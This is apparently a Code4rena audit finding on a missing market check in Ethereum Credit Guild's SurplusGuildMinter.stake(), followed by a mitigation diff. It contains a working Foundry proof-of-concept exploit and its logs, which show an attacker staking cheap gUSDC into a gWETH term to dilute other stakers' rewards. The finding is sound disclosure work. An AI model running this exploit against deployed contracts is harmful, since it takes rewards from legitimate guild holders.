Users can deflate other markets Guild holders rewards by staking less priced token

mediumCode4rena

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L114-L155

Vulnerability details

Impact

In the SurplusGuildMinter::stake() function, there is currently no check to verify if the provided term’s CREDIT token is the same as the CREDIT token in the called SurplusGuildMinter. This oversight could result in inaccuracies in gaugeWeight and rewards for guild holders, especially with the upcoming inclusion of various markets such as gUSDC and likely gWETH.

A potential issue exists where a user can stake in the SurplusGuildMinter(gUSDC) using a gWETH term. This action results in the user obtaining Guild tokens based on staked gUSDC but inadvertently increases the gaugeWeight for gWETH. As a consequence, other Guild token holders in the gWETH market may receive reduced rewards.

With a guild:credit mintRatio of 2, a staker should receive 2 Guild tokens for 1 gWETH. However, if the staker uses the wrong SurplusGuildMinter and stakes 1 gUSDC, again 2 Guild tokens will be minted, creating a situation where the malicious staker can increase the gWETH gaugeWeight with cheaper CreditToken.

As illustrated in the scenario below, with just $100, the malicious staker can reduce guild holder rewards more than twice. Afterward, they can unstake the initial $100, causing a loss of rewards for other stakers.

NOTE: The malicious staker won't receive rewards for this stake, and there won't be any penalties (slashing) if the term incurs no losses until they decide to unstake.

Proof of Concept

Preconditions:

• gUSDC market
• gWETH market

Steps:

1. The malicious user mints gUSDC using USDC.
2. Instead of staking through the appropriate SurplusGuildMinter(gWETH), the user stakes in the gWETH term through SurplusGuildMinter(gUSDC). They retain the stake until notifyPnL is called or as desired. Overall, for the lower-priced token (USDC), the user mints a significant amount of Guild compared to the same value in WETH.
3. With just $100, the malicious user can reduce guild holder rewards more than two times.

Coded PoC

Create a new file in test/unit/loan called StakeIntoWrongTerm.t.sol

solidity📋
pragma solidity 0.8.13;

import {Test, console} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";

contract StakeIntoWrongTermUnitTest is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address private EXPLOITER = makeAddr("exploiter");
    address private STAKER1 = makeAddr("staker1");
    address private STAKER2 = makeAddr("staker2");
    address private STAKER3 = makeAddr("staker3");
    address private termUSDC;
    address private termWETH;
    Core private core;
    ProfitManager private profitManagerUSDC;
    ProfitManager private profitManagerWETH;
    CreditToken gUSDC;
    CreditToken gWETH;
    GuildToken guild;
    RateLimitedMinter rlgm;
    SurplusGuildMinter sgmUSDC;
    SurplusGuildMinter sgmWETH;

    // GuildMinter params
    uint256 constant MINT_RATIO = 2e18;
    uint256 constant REWARD_RATIO = 5e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManagerUSDC = new ProfitManager(address(core));
        profitManagerWETH = new ProfitManager(address(core));
        gUSDC = new CreditToken(address(core), "gUSDC", "gUSDC");
        gWETH = new CreditToken(address(core), "gWETH", "gWETH");
        guild = new GuildToken(address(core), address(profitManagerWETH));
        rlgm = new RateLimitedMinter(
            address(core), /*_core*/
            address(guild), /*_token*/
            CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        sgmUSDC = new SurplusGuildMinter(
            address(core),
            address(profitManagerUSDC),
            address(gUSDC),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        sgmWETH = new SurplusGuildMinter(
            address(core),
            address(profitManagerWETH),
            address(gWETH),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        profitManagerUSDC.initializeReferences(address(gUSDC), address(guild), address(0));
        profitManagerWETH.initializeReferences(address(gWETH), address(guild), address(0));
        termUSDC = address(new MockLendingTerm(address(core)));
        termWETH = address(new MockLendingTerm(address(core)));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmUSDC));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmWETH));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmUSDC));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmWETH));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge and vote for it
        guild.setMaxGauges(10);
        guild.addGauge(1, termUSDC);
        guild.addGauge(2, termWETH);

        // labels
        vm.label(address(core), "core");
        vm.label(address(profitManagerUSDC), "profitManagerUSDC");
        vm.label(address(profitManagerWETH), "profitManagerWETH");
        vm.label(address(gUSDC), "gUSDC");
        vm.label(address(gWETH), "gWETH");
        vm.label(address(guild), "guild");
        vm.label(address(rlgm), "rlcgm");
        vm.label(address(sgmUSDC), "sgmUSDC");
        vm.label(address(sgmWETH), "sgmWETH");
        vm.label(termUSDC, "termUSDC");
        vm.label(termWETH, "termWETH");
    }

    function testC1() public {
        gWETH.mint(STAKER1, 10e18);
        gWETH.mint(STAKER2, 50e18);
        gWETH.mint(STAKER3, 30e18);

        vm.startPrank(STAKER1);
        gWETH.approve(address(sgmWETH), 10e18);
        sgmWETH.stake(termWETH, 10e18);
        vm.stopPrank();

        vm.startPrank(STAKER2);
        gWETH.approve(address(sgmWETH), 50e18);
        sgmWETH.stake(termWETH, 50e18);
        vm.stopPrank();

        vm.startPrank(STAKER3);
        gWETH.approve(address(sgmWETH), 30e18);
        sgmWETH.stake(termWETH, 30e18);
        vm.stopPrank();
        
        console.log("------------------------BEFORE ATTACK------------------------");
        console.log("Gauge(gWETH) Weight:                   ", guild.getGaugeWeight(termWETH));

    	vm.warp(block.timestamp + 150 days);
        vm.prank(governor);
        profitManagerWETH.setProfitSharingConfig(
            0.05e18, // surplusBufferSplit
            0.9e18, // creditSplit
            0.05e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        gWETH.mint(address(profitManagerWETH), 1e18);
        profitManagerWETH.notifyPnL(termWETH, 1e18);

        sgmWETH.getRewards(STAKER1, termWETH);
        sgmWETH.getRewards(STAKER2, termWETH);
        sgmWETH.getRewards(STAKER3, termWETH);
        console.log("Staker1 reward:                             ", gWETH.balanceOf(address(STAKER1)));
        console.log("Staker2 reward:                            ", gWETH.balanceOf(address(STAKER2)));
        console.log("Staker3 reward:                            ", gWETH.balanceOf(address(STAKER3)));
        console.log("GaugeProfitIndex:                        ", profitManagerWETH.gaugeProfitIndex(termWETH));
    }

    function testC2() public {
        gWETH.mint(STAKER1, 10e18);
        gWETH.mint(STAKER2, 50e18);
        gWETH.mint(STAKER3, 30e18);

        vm.startPrank(STAKER1);
        gWETH.approve(address(sgmWETH), 10e18);
        sgmWETH.stake(termWETH, 10e18);
        vm.stopPrank();

        vm.startPrank(STAKER2);
        gWETH.approve(address(sgmWETH), 50e18);
        sgmWETH.stake(termWETH, 50e18);
        vm.stopPrank();

        vm.startPrank(STAKER3);
        gWETH.approve(address(sgmWETH), 30e18);
        sgmWETH.stake(termWETH, 30e18);
        vm.stopPrank();

        console.log("------------------------AFTER ATTACK-------------------------");
        console.log("Gauge(gWETH) Weight Before Attack:     ", guild.getGaugeWeight(termWETH));

        gUSDC.mint(EXPLOITER, 100e18);
        console.log("EXPLOITER gUSDC balance before stake:  ", gUSDC.balanceOf(EXPLOITER));
        vm.startPrank(EXPLOITER);
        gUSDC.approve(address(sgmUSDC), 100e18);
        sgmUSDC.stake(termWETH, 100e18);
        console.log("EXPLOITER gUSDC balance after stake:                       ", gUSDC.balanceOf(EXPLOITER));
        vm.stopPrank();

        console.log("Gauge(gWETH) Weight After Attack:      ", guild.getGaugeWeight(termWETH));

    	vm.warp(block.timestamp + 150 days);
        vm.prank(governor);
        profitManagerWETH.setProfitSharingConfig(
            0.05e18, // surplusBufferSplit
            0.9e18, // creditSplit
            0.05e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        gWETH.mint(address(profitManagerWETH), 1e18);
        profitManagerWETH.notifyPnL(termWETH, 1e18);

        vm.startPrank(EXPLOITER);
        sgmUSDC.unstake(termWETH, 100e18);
        vm.stopPrank();

        console.log("EXPLOITER gUSDC balance after unstake: ", gUSDC.balanceOf(EXPLOITER));
        sgmWETH.getRewards(EXPLOITER, termWETH);
        sgmUSDC.getRewards(EXPLOITER, termWETH);
        console.log("EXPLOITER reward:                                          ", gWETH.balanceOf(address(EXPLOITER)));

        sgmWETH.getRewards(STAKER1, termWETH);
        sgmWETH.getRewards(STAKER2, termWETH);
        sgmWETH.getRewards(STAKER3, termWETH);
        console.log("Staker1 reward:                             ", gWETH.balanceOf(address(STAKER1)));
        console.log("Staker2 reward:                            ", gWETH.balanceOf(address(STAKER2)));
        console.log("Staker3 reward:                             ", gWETH.balanceOf(address(STAKER3)));
        console.log("GaugeProfitIndex After:                  ", profitManagerWETH.gaugeProfitIndex(termWETH));
    }
}

There are tests for both cases – one without the attack and another with the attack scenario.

Run them with:

solidity📋
forge test --match-contract "StakeIntoWrongTermUnitTest" -vvv

solidity📋
Logs:
  ------------------------BEFORE ATTACK------------------------
  Gauge(gWETH) Weight:                    180000000000000000000
  Staker1 reward:                              5555555555555540
  Staker2 reward:                             27777777777777700
  Staker3 reward:                             16666666666666620
  GaugeProfitIndex:                         1000277777777777777

Logs:
  Gauge(gWETH) Weight Before Attack:      180000000000000000000
  EXPLOITER gUSDC balance before stake:   100000000000000000000
  EXPLOITER gUSDC balance after stake:                        0
  Gauge(gWETH) Weight After Attack:       380000000000000000000
  EXPLOITER gUSDC balance after unstake:  100000000000000000000
  EXPLOITER reward:                                           0
  Staker1 reward:                              2631578947368420
  Staker2 reward:                             13157894736842100
  Staker3 reward:                              7894736842105260
  GaugeProfitIndex After:                   1000131578947368421

Tools Used

Manual Review

Recommended Mitigation Steps

To prevent manipulation, add a check in the stake() function to ensure that the passed term is from the same market as the SurplusGuildMinter.

diff📋
function stake(address term, uint256 amount) external whenNotPaused {
+   require(LendingTerm(term).getReferences().creditToken == credit, "SurplusGuildMinter: term from wrong market!");

    // apply pending rewards
    (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
        msg.sender,
        term
    );

    require(
        lastGaugeLoss != block.timestamp,
        "SurplusGuildMinter: loss in block"
    );
    require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");

    // pull CREDIT from user & transfer it to surplus buffer
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    CreditToken(credit).approve(address(profitManager), amount);
    ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);

    // self-mint GUILD tokens
    uint256 _mintRatio = mintRatio;
    uint256 guildAmount = (_mintRatio * amount) / 1e18;
    RateLimitedMinter(rlgm).mint(address(this), guildAmount);
    GuildToken(guild).incrementGauge(term, guildAmount);

    // update state
    userStake = UserStake({
        stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
        lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
        profitIndex: SafeCastLib.safeCastTo160(
            ProfitManager(profitManager).userGaugeProfitIndex(
                address(this),
                term
            )
        ),
        credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
        guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
    });
    _stakes[msg.sender][term] = userStake;

    // emit event
    emit Stake(block.timestamp, term, amount);
}

Assessed type

Invalid Validation